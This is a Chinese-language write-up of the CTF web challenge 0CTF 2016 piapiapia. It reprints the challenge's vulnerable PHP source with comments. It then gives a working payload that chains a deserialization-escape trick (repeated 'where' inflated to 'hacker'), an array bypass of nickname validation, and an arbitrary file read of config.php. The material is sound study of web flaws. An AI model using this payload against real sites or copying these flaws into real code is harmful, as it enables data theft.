欢迎光临
我们一直在努力

【BUUCTF】WEB [0CTF 2016]piapiapia

考点:源码泄露、PHP反序列化逃逸、PHP 数组绕过参数验证、任意文件读取漏洞、Burp Suite 抓包改包、base64 编码解码

打开靶机:

先用dirsearch扫一遍,发现有个压缩包:

打开压缩包,文件夹里没什么东西,但有6个PHP文件:

class.php:

<?php
// 1. PHP脚本开始标签,标识进入PHP代码执行环境
require('config.php');
// 2. 引入外部配置文件config.php,该文件应包含数据库连接参数(如$config数组:hostname、username、password、database)
// 风险:未使用require_once,重复引入会报错;无文件存在性校验

// 4. 定义user类,继承自mysql类,封装用户相关的业务逻辑(注册、登录、资料操作等)
class user extends mysql{
// 5. 私有成员变量:指定操作的数据表为users,仅当前类可访问
private $table = 'users';

// 7. 公共方法:检查指定用户名是否存在于users表中
public function is_exists($username) {
// 8. 调用父类(mysql)的filter方法过滤用户名,试图防范SQL注入
$username = parent::filter($username);

// 10. 拼接SQL查询的WHERE条件(直接拼接变量,存在注入风险)
$where = "username = '$username'";
// 11. 调用父类的select方法执行查询,返回查询结果(对象形式)
return parent::select($this->table, $where);
}
// 13. 公共方法:处理用户注册逻辑
public function register($username, $password) {
// 14. 过滤用户名
$username = parent::filter($username);
// 15. 过滤密码
$password = parent::filter($password);

// 17. 定义要插入的数据库字段名数组
$key_list = Array('username', 'password');
// 18. 定义要插入的字段值数组:密码使用md5加密(风险:md5不可逆、易被彩虹表破解,推荐bcrypt/argon2)
$value_list = Array($username, md5($password));
// 19. 调用父类insert方法执行插入,返回插入结果(成功返回资源句柄,失败返回false)
return parent::insert($this->table, $key_list, $value_list);
}
// 21. 公共方法:处理用户登录逻辑
public function login($username, $password) {
// 22. 过滤用户名
$username = parent::filter($username);
// 23. 过滤密码
$password = parent::filter($password);

// 25. 拼接WHERE条件
$where = "username = '$username'";
// 26. 查询指定用户名的记录
$object = parent::select($this->table, $where);
// 27. 校验:查询到记录 且 数据库中md5加密的密码与输入密码的md5值一致
if ($object && $object->password === md5($password)) {
// 28. 登录成功,返回true
return true;
} else {
// 30. 登录失败,返回false
return false;
}
}
// 33. 公共方法:获取指定用户的个人资料(profile字段)
public function show_profile($username) {
// 34. 过滤用户名
$username = parent::filter($username);

// 36. 拼接WHERE条件
$where = "username = '$username'";
// 37. 查询用户记录
$object = parent::select($this->table, $where);
// 38. 返回profile字段值(风险:若$object为null(无该用户),会触发PHP错误)
return $object->profile;
}
// 40. 公共方法:更新指定用户的个人资料
public function update_profile($username, $new_profile) {
// 41. 过滤用户名
$username = parent::filter($username);
// 42. 过滤新的个人资料内容
$new_profile = parent::filter($new_profile);

// 44. 拼接WHERE条件
$where = "username = '$username'";
// 45. 调用父类update方法执行更新,返回更新结果
return parent::update($this->table, 'profile', $new_profile, $where);
}
// 47. 魔术方法:当对象被当作字符串使用时自动调用
public function __tostring() {
// 48. 返回当前类名(user)
return __class__;
}
}

// 52. 定义mysql类:封装数据库底层操作(连接、查询、插入、更新)
class mysql {
// 53. 私有成员变量:存储数据库连接句柄,初始值为null
private $link = null;

// 55. 公共方法:建立数据库连接
public function connect($config) {
// 56-60. 建立MySQL连接(风险:mysql_connect函数已废弃,推荐mysqli/pdo;无连接失败的错误处理)
$this->link = mysql_connect(
$config['hostname'], // 数据库主机名(来自config.php)
$config['username'], // 数据库用户名
$config['password'] // 数据库密码
);
// 61. 选择要操作的数据库(无错误处理,连接失败时会报错)
mysql_select_db($config['database']);
// 62. 设置SQL模式为严格模式:强制数据校验(如字段类型、非空约束等)
mysql_query("SET sql_mode='strict_all_tables'");

// 64. 返回数据库连接句柄
return $this->link;
}

// 67. 公共方法:执行SELECT查询
// 参数:$table(表名)、$where(WHERE条件)、$ret(查询字段,默认*)
public function select($table, $where, $ret = '*') {
// 68. 拼接SELECT SQL语句(风险:直接拼接变量,filter过滤不彻底,仍存在SQL注入风险)
$sql = "SELECT $ret FROM $table WHERE $where";
// 69. 执行SQL查询(风险:mysql_query已废弃;无SQL执行失败的错误处理)
$result = mysql_query($sql, $this->link);
// 70. 获取查询结果的第一条记录,以对象形式返回(无结果则返回null)
return mysql_fetch_object($result);
}

// 73. 公共方法:执行INSERT插入
// 参数:$table(表名)、$key_list(字段名数组)、$value_list(字段值数组)
public function insert($table, $key_list, $value_list) {
// 74. 将字段名数组拼接为字符串(如:username,password)
$key = implode(',', $key_list);
// 75. 将字段值数组拼接为带单引号的字符串(如:'user1','e10adc3949ba59abbe56e057f20f883e')
$value = '\\'' . implode('\\',\\'', $value_list) . '\\'';
// 76. 拼接INSERT SQL语句(风险:注入风险;未处理值中的特殊字符)
$sql = "INSERT INTO $table ($key) VALUES ($value)";
// 77. 执行插入,返回执行结果
return mysql_query($sql);
}

// 80. 公共方法:执行UPDATE更新
// 参数:$table(表名)、$key(要更新的字段)、$value(字段新值)、$where(WHERE条件)
public function update($table, $key, $value, $where) {
// 81. 拼接UPDATE SQL语句(风险:注入风险;直接拼接变量)
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
// 82. 执行更新,返回执行结果
return mysql_query($sql);
}

// 85. 公共方法:过滤输入字符串,试图防范SQL注入(逻辑不完善)
public function filter($string) {
// 86. 定义要替换的特殊字符:单引号、反斜杠(SQL注入常用字符)
$escape = array('\\'', '\\\\\\\\');
// 87. 构造正则表达式:匹配单引号或反斜杠
$escape = '/' . implode('|', $escape) . '/';
// 88. 将匹配的特殊字符替换为下划线
$string = preg_replace($escape, '_', $string);

// 90. 定义要替换的SQL关键字:select/insert/update/delete/where
$safe = array('select', 'insert', 'update', 'delete', 'where');
// 91. 构造不区分大小写的正则:匹配上述关键字
$safe = '/' . implode('|', $safe) . '/i';
// 92. 将匹配的关键字替换为'hacker'(风险:仅替换完整关键字,变种注入可绕过,如selselectect)
return preg_replace($safe, 'hacker', $string);
}
// 94. 魔术方法:当对象被当作字符串使用时自动调用
public function __tostring() {
// 95. 返回当前类名(mysql)
return __class__;
}
}
// 98. 启动PHP会话(风险:若脚本执行前有输出,会触发"headers already sent"错误;无错误处理)
session_start();
// 99. 实例化user类(user继承mysql,因此拥有数据库操作方法)
$user = new user();
// 100. 调用connect方法建立数据库连接(传入config.php中的$config数组)
$user->connect($config);

这里是重点,先序列化,再对整个序列化后的字符串执行filter()函数:

config.php:

<?php
// 1. 定义配置数组$config的hostname元素,值为127.0.0.1(本地回环IP地址)
// 该配置用于指定数据库服务器的地址,127.0.0.1表示连接本地数据库服务器
$config['hostname'] = '127.0.0.1';

// 2. 定义配置数组$config的username元素,值为root
// root是MySQL/MariaDB等数据库系统的默认超级管理员用户名,用于数据库连接认证
$config['username'] = 'root';

// 3. 定义配置数组$config的password元素,值为空字符串
// 表示数据库连接时无需密码(开发环境常见配置,但生产环境存在安全风险)
$config['password'] = '';

// 4. 定义配置数组$config的database元素,值为空字符串
// 该配置用于指定要连接的具体数据库名称,此处为空需后续根据业务填写
$config['database'] = '';

// 5. 定义一个空的全局变量$flag
// 变量用途未在当前代码片段体现,可能用于后续业务逻辑的标记/状态判断
$flag = '';
?>

重点:最终flag在这。

index.php:

<?php
// 1. 引入外部类文件 class.php,该文件应该包含了用户登录相关的 User 类定义
require_once('class.php');

// 2. 检查 $_SESSION 中是否存在 'username' 键(即用户是否已登录)
if($_SESSION['username']) {
// 2.1 若已登录,重定向到个人资料页 profile.php
header('Location: profile.php');
// 2.2 终止脚本执行,防止后续代码运行
exit;
}

// 3. 检查是否有 POST 提交的 username 和 password 参数(即用户是否提交了登录表单)
if($_POST['username'] && $_POST['password']) {
// 3.1 接收 POST 提交的用户名和密码并赋值给变量
$username = $_POST['username'];
$password = $_POST['password'];

// 3.2 校验用户名长度:小于3位 或 大于16位则判定为无效
if(strlen($username) < 3 or strlen($username) > 16)
// 3.2.1 用户名无效时终止脚本并输出错误信息
die('Invalid user name');

// 3.3 校验密码长度:小于3位 或 大于16位则判定为无效
if(strlen($password) < 3 or strlen($password) > 16)
// 3.3.1 密码无效时终止脚本并输出错误信息
die('Invalid password');

// 3.4 调用 $user 对象的 login 方法($user 应该是 class.php 中定义的类实例),验证用户名密码
if($user->login($username, $password)) {
// 3.4.1 登录成功:将用户名存入 Session,标记用户已登录
$_SESSION['username'] = $username;
// 3.4.2 重定向到个人资料页
header('Location: profile.php');
// 3.4.3 终止脚本执行
exit;
} else {
// 3.4.4 登录失败:终止脚本并输出用户名或密码错误
die('Invalid user name or password');
}
} else {
// 4. 若没有 POST 提交的用户名/密码(即用户首次访问页面),输出登录页面的 HTML 代码
?>
<!DOCTYPE html>
<html>
<head>
<!– 4.1 设置页面标题为 Login –>
<title>Login</title>
<!– 4.2 引入 Bootstrap 样式文件(用于页面美化) –>
<link href="static/bootstrap.min.css" rel="stylesheet">
<!– 4.3 引入 jQuery 库(Bootstrap 依赖) –>
<script src="static/jquery.min.js"></script>
<!– 4.4 引入 Bootstrap 脚本文件 –>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<!– 4.5 容器div,设置顶部外边距100px –>
<div class="container" style="margin-top:100px">
<!– 4.6 登录表单:提交到当前页面 index.php,请求方式为 POST,设置样式 –>
<form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;">
<!– 4.7 显示一张图片(表情包),设置样式 –>
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<!– 4.8 登录标题 –>
<h3>Login</h3>
<!– 4.9 用户名输入框标签 –>
<label>Username:</label>
<!– 4.10 用户名输入框:name为username,设置高度和样式 –>
<input type="text" name="username" style="height:30px"class="span3"/>
<!– 4.11 密码输入框标签 –>
<label>Password:</label>
<!– 4.12 密码输入框:name为password,设置高度和样式(type=password 隐藏输入内容) –>
<input type="password" name="password" style="height:30px" class="span3">

<!– 4.13 提交按钮:样式为 Bootstrap 主色调按钮,显示文字 LOGIN –>
<button type="submit" class="btn btn-primary">LOGIN</button>
</form>
</div>
</body>
</html>
<?php
// 5. 闭合 else 分支(对应“无POST参数”的逻辑)
}
?>

profile.php:

<?php
// 1. 开启PHP解析标签,进入PHP代码执行阶段
// 2. 引入class.php文件(require_once确保仅引入一次),该文件应包含$user对象的定义(如用户相关的类)
require_once('class.php');

// 3. 检查SESSION中的username字段是否为空,验证用户是否已登录(依赖SESSION已启动,否则$_SESSION会报错)
if($_SESSION['username'] == null) {
// 4. 若未登录,终止脚本执行并输出"Login First",阻止未授权访问
die('Login First');
}

// 6. 将已登录用户的用户名从SESSION中取出,赋值给局部变量$username,便于后续使用
$username = $_SESSION['username'];

// 7. 调用$user对象的show_profile方法,传入用户名参数,获取该用户的资料数据(返回值大概率是序列化后的字符串)
$profile=$user->show_profile($username);

// 8. 检查获取到的用户资料是否为空(如用户未完善资料)
if($profile == null) {
// 9. 若资料为空,通过HTTP头跳转到update.php页面(用户资料完善页)
header('Location: update.php');
}
// 11. 若用户资料不为空,执行以下资料解析和页面渲染逻辑
else {
// 12. 将序列化的用户资料字符串反序列化为PHP数组/对象
// 【安全风险】:若$profile数据可控,可能触发反序列化漏洞,导致代码执行
$profile = unserialize($profile);

// 13-15. 从反序列化后的数组中提取手机号、邮箱、昵称,赋值给对应变量
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];

// 16. 读取$profile['photo']指定的文件内容,再进行base64编码(用于前端直接渲染图片)
// 【安全风险】:若$profile['photo']可控,可通过file_get_contents读取服务器任意文件(如/etc/passwd)
$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!– 17. 关闭PHP解析标签,开始输出HTML内容 –>
<!DOCTYPE html> <!– 18. 声明HTML5文档类型 –>
<html> <!– 19. HTML根标签 –>
<head> <!– 20. HTML头部标签,用于定义页面元信息 –>
<title>Profile</title> <!– 21. 设置页面标题为"Profile"(个人资料) –>
<!– 22. 引入Bootstrap的CSS样式文件,用于页面美化 –>
<link href="static/bootstrap.min.css" rel="stylesheet">
<!– 23. 引入jQuery库,为Bootstrap的JS提供依赖 –>
<script src="static/jquery.min.js"></script>
<!– 24. 引入Bootstrap的JS文件,实现交互效果(如响应式、组件功能) –>
<script src="static/bootstrap.min.js"></script>
</head> <!– 25. 头部标签结束 –>
<body> <!– 26. HTML主体标签,页面可视内容都在该标签内 –>
<!– 27. 容器div:使用Bootstrap的container样式,设置顶部外边距100px,居中布局 –>
<div class="container" style="margin-top:100px">
<!– 28. 渲染用户头像:使用base64编码的图片数据(data URI方案) –>
<!– 【问题】:MIME类型固定为image/gif,若图片实际为jpg/png,可能显示异常 –>
<!– 【安全风险】:若$photo可控,可能注入恶意base64数据,但此处影响较小 –>
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
<!– 29. 输出欢迎语,显示用户昵称 –>
<!– 【安全风险】:未对$nickname做XSS过滤,若昵称包含<script>等恶意代码,会触发跨站脚本攻击 –>
<h3>Hi <?php echo $nickname;?></h3>
<!– 30-31. 显示手机号、邮箱,同样未做XSS过滤,存在跨站脚本攻击风险 –>
<label>Phone: <?php echo $phone;?></label>
<label>Email: <?php echo $email;?></label>
</div> <!– 32. 容器div结束 –>
</body> <!– 33. 主体标签结束 –>
</html> <!– 34. HTML根标签结束 –>
<?php
// 35. 重新开启PHP解析标签
// 36. 结束第11行的else分支(用户资料非空的逻辑块)
}
// 37. 关闭PHP解析标签,脚本执行结束
?>

重点:

register.php:

<?php
// 1. 引入外部类文件(包含用户相关的操作方法,如is_exists、register等)
require_once('class.php');

// 2. 判断是否有POST提交的用户名和密码(表单提交时触发该逻辑)
if($_POST['username'] && $_POST['password']) {
// 3. 接收POST表单中的用户名和密码参数
$username = $_POST['username'];
$password = $_POST['password'];

// 4. 验证用户名长度:3-16位,不满足则直接终止脚本并输出错误
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');

// 5. 验证密码长度:3-16位,不满足则直接终止脚本并输出错误
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');

// 6. 调用$user对象的is_exists方法,检查用户名是否已存在
if(!$user->is_exists($username)) {
// 7. 用户名不存在则调用register方法完成注册
$user->register($username, $password);
// 8. 注册成功,输出提示并提供登录跳转链接
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
// 9. 用户名已存在,终止脚本并输出错误
die('User name Already Exists');
}
}
// 10. 若没有POST提交的用户名/密码(首次访问页面),则输出注册表单
else {
?>
<!– 以下为HTML注册表单部分(PHP闭合后直接输出HTML) –>
<!DOCTYPE html>
<html>
<head>
<!– 11. 设置页面标题 –>
<title>Login</title>
<!– 12. 引入Bootstrap样式文件(用于页面美化) –>
<link href="static/bootstrap.min.css" rel="stylesheet">
<!– 13. 引入jQuery库(Bootstrap依赖) –>
<script src="static/jquery.min.js"></script>
<!– 14. 引入Bootstrap脚本文件(提供交互功能) –>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<!– 15. Bootstrap容器,设置顶部外边距100px –>
<div class="container" style="margin-top:100px">
<!– 16. 表单:提交到自身(register.php),POST方法,Bootstrap样式美化 –>
<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
<!– 17. 显示图片(装饰用),自定义样式居中+宽度 –>
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<!– 18. 注册表单标题 –>
<h3>Register</h3>
<!– 19. 用户名输入框标签 –>
<label>Username:</label>
<!– 20. 用户名输入框:文本类型,name为username,自定义高度+Bootstrap宽度样式 –>
<input type="text" name="username" style="height:30px"class="span3"/>
<!– 21. 密码输入框标签 –>
<label>Password:</label>
<!– 22. 密码输入框:密码类型(输入隐藏),name为password,样式同用户名框 –>
<input type="password" name="password" style="height:30px" class="span3">

<!– 23. 提交按钮:Bootstrap主色调样式,点击提交表单 –>
<button type="submit" class="btn btn-primary">REGISTER</button>
</form>
</div>
</body>
</html>
<?php
// 24. 闭合else逻辑(对应第10行的else),结束PHP脚本
}
?>

重点:可以在这里进行注册。

update.php:

<?php
// 1. 开启PHP代码块
require_once('class.php'); // 2. 引入class.php文件(一次性引入,避免重复加载),该文件应包含$user对象的定义(如用户操作的类)
// 【潜在问题】未检查class.php是否引入成功,若文件缺失会直接报错;无session_start(),$_SESSION无法使用(Undefined index错误)
if($_SESSION['username'] == null) { // 3. 检查会话中是否存在用户名,判断用户是否已登录
die('Login First'); // 4. 若未登录,终止脚本执行并输出"Login First"
} // 5. 结束登录状态检查的if块

// 6. 检查POST请求的phone/email/nickname,以及文件上传的photo是否全部存在(非空/非假值)
// 【潜在问题】仅判断存在性,未检查$_FILES['photo']['error'](如文件上传失败时error≠0,但$_FILES['photo']仍存在,会误判)
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username']; // 7. 将会话中的用户名赋值给局部变量$username,用于后续更新操作

// 8. 验证手机号格式:正则匹配「以11位纯数字开头并结尾」,!表示不匹配时触发条件
// 【潜在问题】仅验证11位数字,未验证手机号号段合法性(如以0开头也会通过)
if(!preg_match('/^\\d{11}$/', $_POST['phone']))
die('Invalid phone'); // 9. 手机号格式错误,终止脚本并输出提示

// 10. 验证邮箱格式:正则规则「用户名(1-10位/_/字母/数字)@域名(1-10位/_/字母/数字).后缀(1-10位/_/字母/数字)」
// 【潜在问题】正则缺陷:不支持多级域名(如xxx@xxx.com.cn)、域名部分不允许连字符(合法邮箱支持)、长度限制过严
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email'); // 11. 邮箱格式错误,终止脚本并输出提示

// 12. 验证昵称:匹配「非字母/数字/下划线」的字符(存在则非法),或昵称长度>10位
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname'); // 13. 昵称格式错误,终止脚本并输出提示

$file = $_FILES['photo']; // 14. 将文件上传的photo信息(数组)赋值给$file,$_FILES包含tmp_name/size/name等字段
// 15. 检查文件大小:小于5字节 或 大于1000000字节(1MB)则触发条件
// 【潜在问题】仅检查大小,未检查文件是否为合法图片(如伪装成图片的PHP脚本)
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error'); // 16. 文件大小不符合要求,终止脚本并输出提示

// 17. 将上传的临时文件移动到upload目录,文件名改为「原文件名的MD5值」
// 【严重安全问题】① 未检查文件类型/后缀/MIME,可上传恶意PHP脚本;② 仅用MD5(文件名)重命名,同名文件会覆盖;③ 未检查move_uploaded_file返回值(移动失败仍继续执行);④ 未确保upload目录存在
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));

$profile['phone'] = $_POST['phone']; // 18. 将POST的手机号存入$profile数组
$profile['email'] = $_POST['email']; // 19. 将POST的邮箱存入$profile数组
$profile['nickname'] = $_POST['nickname']; // 20. 将POST的昵称存入$profile数组
$profile['photo'] = 'upload/' . md5($file['name']); // 21. 存储图片路径(与移动后的文件路径一致)

// 22. 调用$user对象的update_profile方法,传入用户名和「序列化后的$profile数组」
// 【潜在问题】序列化用户可控数据,若后续反序列化时未做过滤,会触发反序列化漏洞
$user->update_profile($username, serialize($profile));

// 23. 输出更新成功提示,附带个人资料页链接
// 【潜在问题】无XSS防护,若后续profile.php显示这些数据时未转义,会触发XSS
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else { // 24. 若POST参数/文件不全,进入else块,输出表单页面
?>
<!DOCTYPE html> <!– 26. HTML5文档声明 –>
<html> <!– 27. HTML根标签 –>
<head> <!– 28. HTML头部标签(包含元信息、样式、脚本) –>
<title>UPDATE</title> <!– 29. 页面标题 –>
<link href="static/bootstrap.min.css" rel="stylesheet"> <!– 30. 引入Bootstrap样式文件 –>
<script src="static/jquery.min.js"></script> <!– 31. 引入jQuery库 –>
<script src="static/bootstrap.min.js"></script> <!– 32. 引入Bootstrap脚本文件 –>
</head> <!– 33. 结束head标签 –>
<body> <!– 34. HTML主体标签 –>
<div class="container" style="margin-top:100px"> <!– 35. Bootstrap容器,设置顶部外边距100px –>
<!– 36. 表单配置:提交到自身(update.php)、POST方法、enctype=multipart/form-data(文件上传必须)、样式类well、宽度220px、水平居中 –>
<!– 【潜在问题】无CSRF令牌,存在跨站请求伪造风险 –>
<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"> <!– 37. 显示图片,设置宽度和居中 –>
<h3>Please Update Your Profile</h3> <!– 38. 表单标题 –>
<label>Phone:</label> <!– 39. 手机号输入框标签 –>
<input type="text" name="phone" style="height:30px"class="span3"/> <!– 40. 手机号文本输入框,name=phone –>
<label>Email:</label> <!– 41. 邮箱输入框标签 –>
<input type="text" name="email" style="height:30px"class="span3"/> <!– 42. 邮箱文本输入框,name=email –>
<label>Nickname:</label> <!– 43. 昵称输入框标签 –>
<input type="text" name="nickname" style="height:30px" class="span3"> <!– 44. 昵称文本输入框,name=nickname –>
<label for="file">Photo:</label> <!– 45. 文件标签(for=file,但输入框name=photo,关联失效) –>
<input type="file" name="photo" style="height:30px"class="span3"/> <!– 46. 文件上传输入框,name=photo –>
<button type="submit" class="btn btn-primary">UPDATE</button> <!– 47. 提交按钮,Bootstrap主色调样式 –>
</form> <!– 48. 结束表单 –>
</div> <!– 49. 结束容器div –>
</body> <!– 50. 结束body标签 –>
</html> <!– 51. 结束html标签 –>
<?php
} // 54. 结束else块
?> <!– 55. 关闭PHP代码块 –>

重点:

可以用Seay源代码审计系统扫一下:

最开始的页面只有登录功能,想要注册只有打开register.php:

随便注册一个账号,密码长度不能小于3:

重新登录后,发现要输入手机号、邮箱、昵称,并且还有文件上传。

整理思路:

在profile.php中会读取$profile['photo']并通过base64编码输出内容,它会把$profile['photo']当成文件路径,读取文件内容,所以只要能让$profile['photo'] = 'config.php',就能读取到里面的 flag。

$photo = base64_encode(file_get_contents($profile['photo']));

在update.php中,可以看到 photo 是怎么生成的,上传文件后,系统会自动把文件名转成 md5 值,所以我们没办法直接控制:

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['photo'] = 'upload/' . md5($file['name']);

把phone、email、nickname、photo放进数组,序列化后存入数据库:

$user->update_profile($username, serialize($profile));

从数据库取出序列化字符串,反序列化后使用:

$profile = unserialize($profile);

关键在这,它会把where转换为hacker,where的字符长度是5,hacker是6,所以这里就会触发反序列化逃逸,举个例子,当有37个where,转换为hacker后,对应的字符长度就会增加37位,刚好能把后面的序列化字符串“挤出去”,使它们被包含在下一个元素里,也就是说,每出现一个where,整个字符串的长度就会 + 1:

public function filter($string) {
// 把单引号和反斜杠换成下划线
$escape = array('\\'', '\\\\\\\\');
$string = preg_replace($escape, '_', $string);

// 把SQL关键字换成"hacker"
$safe = array('select', 'insert', 'update', 'delete', 'where');
return preg_replace($safe, 'hacker', $string);
}

比如,正常的序列化字符串:

a:2:{s:4:"name";s:5:"where";s:3:"age";s:2:"18";}

  • 意思是:一个数组,有 2 个元素
  • 第一个元素:键是 "name"(长度 4),值是 "where"(长度 5)
  • 第二个元素:键是 "age"(长度 3),值是 "18"(长度 2)

经过 filter () 处理后:

a:2:{s:4:"name";s:5:"hacker";s:3:"age";s:2:"18";}

  • "where" 变成了 "hacker",实际长度从 5 变成了 6
  • 但是序列化字符串里的长度标记还是s:5:"hacker"

反序列化时会发生什么?

PHP 会严格按照长度标记来读取内容:

  • 它会从"开始,读 5 个字符,也就是hacke
  • 剩下的r";s:3:"age";s:2:"18";}会被当成下一个元素的内容继续读取

这样一来,原来的age字段就被 "吃掉" 了,我们可以在name的值后面构造新的字段,覆盖原来的内容。

比如:

a:2:{s:4:"name";s:5:"hacker";s:5:"photo";s:10:"config.php";}

这里挖个坑,如果name的值的字符长度为33(33个where),它会完美的把

s:5:"photo";s:10:"config.php";}

读取进去,因为这行字符串有33位字符,并且where转换为hacker就会多出33个字符长度,所以多出来的字符长度就会把这行字符串包含进去,最终变成:

a:2:{s:4:"name";s:5:"hacker";s:5:"photo";s:10:"config.php";}";s:3:"age";s:2:"18";}

nickname 的限制&数组绕过限制:

update.php里对 nickname 有严格限制:

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname'); // 13. 昵称格式错误,终止脚本并输出提示

  • 只能包含字母、数字、下划线
  • 长度不能超过 10 个字符

我们的 Payload 需要几十上百个字符,根本放不进去,因此只能把这些字符传进数组。

但是在PHP 有一个特性:当函数期望的参数是字符串,但你传了一个数组时,函数会返回 null 或 false。

我们把nickname改成数组(nickname[]),会发生什么?

比如,第二个参数是数组,返回null:

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname'])

比如,参数是数组,返回null,null > 10是false:

strlen($_POST['nickname']) > 10)

所以整个 if 条件变成:

null || false = false

总结:验证直接失效。我们可以传任意长度、任意字符的内容。

最终PHP序列化逃逸语句:

";}s:5:"photo";s:10:"config.php";}

为什么前面有个}?

简单说,序列化里,nickname 被存成了数组结构:

a:1:{i:0;s:xx:"内容";}

我们构造的 payload 里多出来一个 },就是用来提前把这个数组结构闭合掉,让后面的 photo 字段能作为新的、独立的键值对被反序列化识别,从而覆盖原有字段。

最终payload(34个where+逃逸语句):

因为是数组,多了一个}闭合,所以对应where + 1

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

除了nickname外,其他的phone、email和文件上传随便都行,

Burp Suite 抓包,修改nickname为payload,注意:要把nickname改为nickname[]:

放包:

访问profile.php:

把右边的base64进行解码:

得到flag:

==END==

赞(0)
未经允许不得转载:171主机测评 » 【BUUCTF】WEB [0CTF 2016]piapiapia
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址